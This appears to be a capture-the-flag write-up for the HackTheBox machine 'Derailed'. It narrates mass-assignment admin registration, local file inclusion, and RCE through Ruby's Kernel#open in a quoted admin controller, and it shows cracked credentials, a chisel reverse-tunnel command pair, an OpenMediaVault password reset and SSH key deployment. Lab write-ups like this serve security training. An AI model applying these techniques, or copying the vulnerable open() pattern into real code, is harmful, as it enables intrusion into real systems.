Web Enum

General Overview

The app allows us to create notes which are displayed in a kind of markdown format. You can do that either as a guest or an user

Registration: /register Login: /login Notes: /clipnotes/ID Administration Panel: /administration Reporting Notes: /report/ID

The admin panel isn't available for guests or user, tells us Only available for admins and redirects us to the login page

Exploitation

After testing different routes for a longer period of time I started checking the registration and login process.

When calling http://derailed.htb:3000/administration we can see that only admins are allowed to view that page. Seems like we're dealing with roles that are assigned to each account.

Register Request

We can see that which parameters are set when we register as a normal user

After playing around for a while I discovered the right parameter to create an admin account

LFI

While I checked out the admin panel I discovered that I as an administrator am able to download reports.

That's a candidate for a nice local file inclusion

RCE - Kernel-level Open Function

While poking around we discover the admin_controller that will show us what vulnerability we can abuse to archive remote code execution.

Ruby Vulnerabilities & Exploits

/var/www/rails-app/app/controllers/admin_controller.rb

class AdminController < ApplicationController
  def index
    if !is_admin?
      flash[:error] = "You must be an admin to access this section"
      redirect_to :login
    end

    @report_file = helpers.get_report_file()

    @files = Dir.glob("report*log")
    p @files
  end

  def create
    if !is_admin?
      flash[:error] = "You must be an admin to access this section"
      redirect_to :login
    end

    report_log = params[:report_log]

    begin
      file = open(report_log)
      @content = ""
      while line = file.gets
        @content += line
      end
      send_data @content, :filename => File.basename(report_log)
    rescue
      redirect_to request.referrer, flash: { error: "The report was not found." }
    end

  end
end

We get our foothold by abusing the Kernel-level Open Function

User: openmediavault-webgui

We can switch to the openmediavault-webgui due to password reuse. Checking /etc/passwd you can see that this account is associated to Toby Wright and the password we were able to crack was called toby

Creds openmediavault-webgui:greenday

Pivoting Setup

To reach the app you have to have either port forwarding or use a tunnel. Chisel did the job for me, it's my go to tool :)

# Attacker Machine
./chisel server -p 8001 --reverse
# Target Machine
./chisel client 10.10.14.135:8001 R:1080:socks

Reset Webpanel Password

Since the default credentials doesn't work we have to reset the password

/usr/sbin/omv-firstaid

SSH Key Deployment

After some time of digging aroung the app and learning how it functions we notice that we are able to deploy ssh keys with it using it's config files as the webpanel doesn't allow us to do anything related to user management.

/etc/openmediavault/config.xml
